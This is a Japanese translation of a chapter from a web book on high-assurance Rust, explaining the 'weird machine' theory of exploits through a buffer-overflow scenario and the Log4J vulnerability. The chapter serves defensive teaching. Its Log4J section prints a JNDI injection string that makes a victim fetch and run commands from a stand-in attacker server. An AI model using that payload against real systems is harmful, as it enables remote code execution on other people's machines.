Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

攻撃者の視点：統一理論（2/2）

動機のある敵対者には、脆弱性を発見するための時間とリソースがあります。 そして、対応するエクスプロイトを武器化します。 業界では、その証拠を常に目にします。 CVE/PoC とパッチの流れがリリースノートに記録されています。 企業は侵害やインシデントに悩まされ、ユーザーはマルウェアや詐欺に悩まされています。 実際に悪用されたエクスプロイトに関する Google の分析1より：

メモリ破壊脆弱性は、過去数十年にわたりソフトウェアを攻撃する標準的な手段であり、攻撃者が今なお成功を収めている方法でもあります。

ソフトウェア保証の範囲は、脆弱性の排除よりも広いものです。 第 2 章の DoD による完全な定義を言い換えると、保証とは、特定のソフトウェア2が以下を満たすという信頼の度合いです。

  1. 「脆弱性がない」
  2. 「意図したとおりに機能する」

メモリ安全性および型安全性の違反は、(1) セキュリティと (2) 一般的な機能の両方を損なう可能性があります。 それらは、上記の保証基準の両方について、信頼を大きく低下させます。

ところで、この本のタイトルの着想は何でしょうか？

「High Assurance」は標準的な用語ではなく、人によって意味が異なります。 この本のタイトルとして適切かどうかは議論の余地があるかもしれません！

このタイトルは、2014 年の DARPA 研究プログラム3から着想を得ています。 「High Assurance Cyber Military Systems (HACMS)」プログラムは、サイバー・フィジカル組込みシステムへの形式手法の応用を調査しました。 その目標は、原理に基づいた数学的に厳密なアプローチを用いて、重要ソフトウェアのセキュリティと機能性に対する信頼（ソフトウェア保証）を獲得することでした。

このプログラムでは、幅広いアプローチと技法が調査されました4。 参加チームの 1 つは、ドメイン固有言語（DSL）5を発明しました。 この関数型の Haskell 風言語には、2 つの重要な特性がありました。

  1. メモリ安全 - 出力される実行可能ファイルに、空間的または時間的なメモリ安全性違反が含まれないという強力な保証。

  2. ヒープ使用なし - プログラム実行中に使用されるのは、静的メモリとスタックメモリだけです。これにより、信頼性（最悪実行時間がヒープ状態に依存せず、ヒープ枯渇によって操作が失敗しない）と移植性（プログラムを小さなマイクロコントローラにデプロイできる）が強化されます。

これらの DSL の特性は、非常になじみ深く聞こえるはずです。 Rust は、#![forbid(unsafe_code)] 属性で (1) を、#![no_std] で (2) をおおむね達成できます。

Rust は、比較的最近の最先端の政府資金による研究プログラムにおける新しい DSL と同じ保証基準を達成できる、商業的に実用可能で人気が高まりつつあるプログラミング言語である、と主張したくなります。 それは並外れた主張です。

しかし、それは実際に正しいのでしょうか？ 具体的な実装の観点から、プログラマはそうした高保証特性を正確にどのように達成できるのでしょうか？ どのようなコンテキスト、制限、洞察がこの目標を支えているのでしょうか？ さらに重要なのは、Rust を他のオープンソースツール、業界のベストプラクティス、研究成果と組み合わせて、保証レベルをさらに高めることはできるのでしょうか？

エクスプロイトのためのメンタルフレームワークを構築する

少しの間、理論的な領域に踏み込みます。 心配しないでください。この章の後半にはハンズオン演習があります。 ただし、まずは抽象的で、場合によっては奇妙な話になります。

プログラムが取り得る振る舞いを、すべての可能な実行にわたって、重なり合う集合として可視化して考えてみましょう6。

プログラムがすべての可能な実行にわたって示し得る振る舞いの種類に対して、保証を概念化する。

バイナリエクスプロイトの文脈では、エクスプロイトを未定義動作（UB）の真部分集合7である悪意のある振る舞いと考えることができます。

一般的なエクスプロイトについて、メモリ安全性違反の外側では、部分集合関係がない場合があります。おそらく、悪意のある集合は UB 集合および実際の集合と交差しているだけです（3 つの重なり合う円で、同心円になっている 2 つの円はない）。

  • エクスプロイトの例：パス/ディレクトリトラバーサル8。クライアント・サーバーの文脈では、パスでファイルを返すことは、定義済みで意図された振る舞いです。しかし、機密ファイルが信頼度の低いクライアントに公開される場合、重大な脆弱性になり得ます。特に、そのクライアントがファイルを書き込める場合はなおさらです。

パストラバーサル攻撃とは、正確には何でしょうか？ OWASP は明確な定義8を示しています。抜粋：

「ドット・ドット・スラッシュ（../）」シーケンスやその変種でファイルを参照する変数を操作したり、絶対ファイルパスを使用したりすることで、[その]ファイルシステムに保存されている任意のファイルやディレクトリにアクセスできる可能性があります。これには、アプリケーションソースコード、設定、重要なシステムファイルなどが含まれます…

上の図で Actual Behavior (Average Assurance) とラベル付けされたシナリオを考えてみましょう。 プログラムがすべてのテストに合格し、ほとんどの場合に動作するとしても、本番環境で失敗するケースがあります（例：説明のつかないエラー、まれな競合状態、過去または将来の何らかの脆弱性）9。

理想的には、プログラムは任意の入力および任意の状況下で正しく機能し続けるべきです。 その振る舞いの集合は、以下を満たすでしょう。

  • 実際の集合に含まれるすべての正しい動作と交差する（上の図は縮尺どおりではありません）。

  • 追加の正しい振る舞いを実装し、実際の集合が失敗するユースケースやエッジケースをカバーする。

  • 未定義集合、つまりその悪意のある部分集合を含む集合と互いに排他的である。

このシナリオは、上では Ideal Behavior (Highest Assurance) とラベル付けされています。 そのような理想的なプログラムは存在しません。 高保証ソフトウェアの防御者および開発者としての私たちの目標は、この理想的な集合にできる限り近づけることです。

しかし、このセクションの残りでは、攻撃者の視点に戻ります。 あの赤い円、つまり悪意のある集合をさらに深く掘り下げます。

エクスプロイトの「奇妙な機械」理論

メモリ破損エクスプロイト（例: 制御フローの乗っ取り、コード注入、コード再利用）に共通するものは何でしょうか？ 根本的なレベルでは、それらは攻撃者があなたのプログラムの一部を書き換える手段です。 ある学派の見方を借りれば、攻撃者はあなたのプログラムの内部にある、小さく制約されたマシン向けに開発しているのです。 Bratus ら10は、抽象的な「奇妙なマシン」が攻撃者のデータ/コードを実行すると主張しています。

この概念化は、「通常のマシン」11がどのようなものかから始めると、より理解しやすいかもしれません。 例としてネットワークソケットを使い、2つの状態機械を図示します。1つは通常のもの、もう1つは奇妙なものです。

ネットワークソケットの基礎

ソケットは、ネットワーク接続のエンドポイントを表現する方法です。 ソケットにより、プロセスはネットワーク越しのデータ送受信を、ローカルファイルへの書き込み/読み取りとほぼ同じように扱えます。 下位のネットワークプロトコルに関係なくです。

ソケット通信は、クライアントとサーバーという2種類のエンティティを前提とします。 クライアントは能動的であり、ユーザーに代わって接続要求を開始します。 サーバーは受動的であり、要求されたコンテンツを提供する前に接続を受信するのを待ちます。

受信するネットワーク接続を受け入れるために、POSIX ソケット API12を使用する Web サーバーを想像してください。 この標準インターフェイスでは、ソケットは5つの状態を持つものとして記述されます。

  1. Ready - 新しく作成されたソケットの初期状態。
  2. Bound - ネットワークアドレス（おそらく IP とポート番号）にバインドされている。
  3. Listening - 受信接続を待ち受けている。
  4. Open - データを送受信する準備ができている（実際に送受信している間はこの状態に留まる）。
  5. Closed - もはやアクティブではなく、セッションは終了している。

視覚的には、サーバーのソケットを以下の有限状態機械（FSM）として表せます。 これは実際の振る舞いをエンコードしているものと仮定します。

POSIX Socket API FSM（サーバーに焦点）

平均的なユーザーのリクエストは、この通常の機構によって処理されます。

  • サーバーが起動し（「Ready」）、ソケットをバインドし、リクエストの待ち受けを開始します（上記の「Bound」->「Listening」遷移）。

  • ユーザーが特定の Web ページを要求するために接続します。その時点でサーバーは接続を受け入れ、ソケットを開き（「Listening」->「Open」）、要求されたコンテンツを送信します（「Open」に留まります）。

  • 送信が完了すると、ソケットは閉じられます（「Open」->「Closed」）。ページの内容がクライアントユーザーのブラウザにレンダリングされます。

不都合なことは何も起こりません。

ここで、このサーバーが誤って設定されていると想像してください。任意のクライアントがエラーページに到達したとき、サーバーは正確なソフトウェア名とバージョン番号を報告します（情報漏えい、不十分な運用保証）。 これにより、攻撃者はサーバーのソフトウェアを「フィンガープリント」できます。

さらに悪いことに、報告されたバージョンが古く、Web サーバーのリクエスト解析ロジックに空間的メモリ安全性の脆弱性が含まれているとします。 この特定のソフトウェアバージョンは、ある HTTP ヘッダーを処理するために固定サイズのスタックバッファを使用しており、そのヘッダーは整形式であれば余裕を持って収まるはずです。

しかし、バッファへの文字列コピーに境界チェックがありません。

攻撃者は、バッファをオーバーフローさせ、コード再利用によって libc 関数を呼び出し、最終的にアクティブなソケット越しに追加の任意コマンドを受け付けるシェルを起動する、特別に細工したリクエストを作成します。 ここでは、リクエストデータが奇妙なマシンによって処理されています！

  • メモリ安全性が破られ（脆弱性）、過度に長いヘッダーフィールドのデータが、ある種の場当たり的な二次プログラムとして解釈されるコードになります。

  • バッファの終端を越えて書き込まれる各データ片は、すでに存在するコードから借用された「奇妙な命令」になります（コード再利用）。

  • そのような命令の列がプログラムの実行を乗っ取り、奇妙なプログラムの状態機械の制御下に CPU を置きます（エクスプロイト）。

この例では、奇妙なマシンには2つの状態があります。

  1. Buffering - コマンド文字列を構築するために文字を受信している。
  2. Executing - シェルのサブプロセスとしてコマンドを実行している。

2つ目の悪意ある影のマシンは、常に表面のすぐ下に存在しています。 起動され、出現するのを待っているだけです。 理想的でないあらゆるプログラムにおいてです。

視覚的には、エクスプロイトペイロードがサーバーによって受信された場合、通常のマシンの「Open」状態から奇妙なマシンへ遷移します。 先ほど実際の振る舞いを仮定したことを思い出してください。現実には、それは他の2つの振る舞いのファミリーと重なり合うことを意味します。

  • 脆弱なヘッダーフィールド解析は open 状態で発生しました。この状態は**未定義動作 (UB)**を導入しました。

  • 攻撃者は UB を利用してエクスプロイトを細工しました。自分自身の悪意のある振る舞いの有限状態機械をプログラムしたのです。

通常のマシン（「プログラマー FSM」）に対するリモートエクスプロイトペイロードを介してプログラムされた奇妙なマシン（「攻撃者 FSM」）。

このような奇妙なマシンを発見して実行することは、プログラムの安全でなさに対する反例による証明です。 Bratus らを引用すると、エクスプロイトは次のことを示します10。

…攻撃対象の環境に明示的または暗黙的に存在する、ほとんどのユーザーや管理者には知られていない実行モデルとメカニズム…したがって攻撃は、そのような予期されない計算が実際に可能であることの構成的証明として、つまり対象が記述された [奇妙な] 実行モデルを実際に含んでいることの証拠として現れる。

エクスプロイトプログラミングは、これら偶発的または予期されないマシンやモデル、そしてそれらがバグ、合成、レイヤー間相互作用から生じる仕組みに関する、生産的な経験的研究であり続けてきた。

形式的な証明を求める読者のために、Dullien はさらに、数学的厳密さをもって奇妙なマシンモデルを強固なものにしています13。注目すべきことに、Dullien の研究は、エクスプロイトに関する本書の扱いとは、2つの興味深い点で異なります。

  1. 彼は、理論上のプログラムの有限状態機械について、エクスプロイト不能性の形式的証明を提示しています。たとえ実用的でなくても、特定の制約下ではそのような証明を構築できることを示すためです。

    • 本書では、いかなるプログラムについてもエクスプロイト不能性を証明しようとはしません。とはいえ、これはコンピュータセキュリティを科学として理解するうえで重要な、強力なアイデアです。

  2. 彼は、同じ理論上のプログラムの別実装について、制御フローを変更することなくエクスプロイト可能性（反例による証明）を示しています。

    • 本書では、完全な制御フロー完全性を維持するエクスプロイトは示しません。ただ、「データ指向攻撃」は奇妙なマシンプログラミングの可能な例である（たとえ一般的ではないとしても）ことを知っておいてください。

奇妙な機械は普遍的である

猫状態機械の皮を剥ぐ方法は一つではありません。 上の図をバイナリ悪用の文脈に位置付けましたが、これはメモリ安全なコマンドインジェクションも正確に表しています。 実際、Java の Log4J CVE-2021-4422814 は、同様のリモートコード実行（RCE）セマンティクスを持つ、安定して広範に適用可能な奇妙な機械を可能にします。

大まかに言うと、Log4J の悪用は次のように機能します15:

  • 本番グレードのソフトウェアは、エラー診断、異常検知、システム監視を支援するためにロギングフレームワークを活用します。Apache Log4j は Java 向けの主要なロギングライブラリであるため、実環境ではほぼ至る所で使われています。

  • Log4j は、ログメッセージのメタプログラミングのためにマクロのような構文をサポートしています。たとえば、文字列 ${java:version} は Java version X.Y.Z_XYZ として展開されログに記録されます。これはホストに現在インストールされている Java ソフトウェアをフィンガープリントするものです。

  • コードベース内の多くのログ出力箇所は、外部の、攻撃者が制御する値をログ文字列へ直接書き込みます。ホストの User Agent は、設定可能であるため、その一例です。展開/メタプログラミングと組み合わさることで、否認防止プロパティが失われます。攻撃者がログメッセージの内容を制御し、足跡を隠すためにデータを偽造できるからです。

  • さらに悪いことに、あらゆる保証も失われます。2013 年時点で、Log4j は Java Naming and Directory Interface（JNDI）との統合を提供しています。この機能はリモートルックアップを目的としたもので、リモートサーバーから Java クラスを取得して実行できます。攻撃者が ${jndi:ldap://evildomain.net:1337/Basic/Command/Base64/SOME_BASE64_CMD} のような文字列をログに入れることができれば16、被害者のホストは攻撃者が制御するサーバーへ接続し、任意の悪意あるコマンドを取得して、ローカルで実行します。

このコマンドインジェクションの例では、奇妙な機械は、攻撃者が制御するサーバーを指す特別に細工された文字列によってプログラムされています。 信頼されていないログデータが、被害者プロセスの権限で実行されるコードになります。

この脆弱性はメモリ安全性違反ではなく、設定上の欠陥です。デフォルトで無効にされているべきだった難解な機能の、意図しない組み合わせです。 同等の機能セットを提供し、それが同様に安全に設計されていなかったなら、Rust のロギングライブラリ内でも起こり得たでしょう。

要点

現実的で十分に大きなプログラムの振る舞いには、何らかの未定義動作（UB）が含まれます。 これは Rust プログラムにも当てはまります。ただし、最後の依存関係に至るまで #![forbid(unsafe_code)] であり、CFFI 関数が呼び出されず、プログラムのどのコードも rustc 自体の既知または未知のバグを引き起こさない場合を除きます。

バイナリ悪用において、攻撃者は UB を利用して悪意ある振る舞いを引き出します。 彼らは、悪質な操作を実行するためにプログラム実行を乗っ取ります。

それが可能なのは、ほとんどすべてのプログラムが、別の意図されていないプログラムの構成要素を含んでいるからです。 それらの構成要素が「奇妙な機械」を構成します。 攻撃者が動作するエクスプロイトを書くとき、本質的には、この内なる機械のための新しいアプリケーションを開発しているのです。

コンピューターセキュリティという抽象的なゲームにおいて、攻撃者は発見した任意の奇妙な機械をうまく利用できれば勝利します。 実際には、防御側が奇妙な機械を完全に排除することはできません。 計算可能性の観点からは、チューリング完全性17が攻撃者に大きな優位性を与えます。

防御側は、通常の状態から奇妙な状態へ遷移する可能性を減らし、かつ/または検出しようと努めます。 強力に強制されるメモリ安全性と型安全性は、悪意ある状態への可能な遷移を非常に多く排除します。

このような高レベルの概念化を念頭に置いて、デバッガの扱い方を学び、自分たちでも奇妙な機械の開発に手を出し始めましょう。

  1. 知れば知るほど、知らないことを知る. Maddie Stone, Google Project Zero (2022). ↩

  2. DoD ソフトウェア保証イニシアチブ. Mitchell Komaroff, Kristin Baldwin (2005, Public Domain) ↩

  3. 高保証サイバー軍事システム（HACMS）（アーカイブ）. DARPA (Accessed 2023). ↩

  4. HACMS プログラム：形式手法を用いて悪用可能なバグを排除する. Kathleen Fisher, John Launchbury, Raymond Richards (2017). ↩

  5. HACMS（高保証サイバー軍事システム）. Galois (Accessed 2023). ↩

  6. 十分な複雑さを持つ任意のプログラムの振る舞いは、おそらく、悪意ある集合および未定義の集合の両方と何らかの重なりを持つ大きな集合であることに注意してください。ここで私たちは、任意の可能な入力に対する、すべての可能な実行について話していることを思い出してください。そして、絶対的なセキュリティは存在しません。絶対的な保証もありません。 ↩

  7. この仮定が常に成り立つわけではありません。たとえば、コマンドインジェクション脆弱性（例：Log4J）は、きわめて信頼性が高く強力なエクスプロイトになり得ますが、それでも言語仕様に関する限り、その影響は定義済みです。私たちは依然として、提供されたコマンドを忠実に実行した、明確に定義されたプログラムを持っています。ただし、それは作者が意図したコマンドではなかっただけです！ ↩

  8. パストラバーサル. OWASP (Accessed 2023). ↩ ↩2

  9. 第 3 章の UB「時限爆弾」の概念を思い出してください。プログラムは UB に依存していても、期待どおりに動作することがあります。少なくとも、ツールチェーンの微妙な変更や特別に細工された入力がそれを引き起こすまでは。 ↩

  10. エクスプロイトプログラミング：バッファオーバーフローから「奇妙な機械」と計算理論へ. Sergey Bratus, Michael Locasto, Meredith Patterson, Len Sassaman, and Aanna Shubina (2011). ↩ ↩2

  11. 私たちが「通常の機械」と呼ぶものは、Dullien13 が Intended Finite State Machine（IFSM） と呼ぶものです。任意のソフトウェアプログラムは、CPU の低レベル FSM（アーキテクチャマニュアルで規定される）の上でエミュレートされる、抽象的な IFSM（ここでは、理想的な POSIX Web サーバーの状態）の近似と考えることができます。「近似」というのは、プログラムにはバグがあるからです。脆弱性であるバグの部分集合は、IFSM の状態から抜け出し、創発的で奇妙な FSM 状態へ入ることを可能にします。 ↩

  12. Berkeley sockets. Wikipedia (Accessed 2022). ↩

  13. 奇妙な機械、悪用可能性、そして証明可能な悪用不可能性. Thomas Dullien (2017). ↩ ↩2

  14. Apache Log4j 脆弱性ガイダンス. CISA (2021). ↩

  15. Log4JとJNDIエクスプロイト：なぜそんなに悪いのか？. Computerphile (2021). ↩

  16. Log4j（CVE-2021-44228）RCE脆弱性の解説. Marcus Hutchins (2021). ↩

  17. チューリング完全性. Wikipedia (Accessed 2022). ↩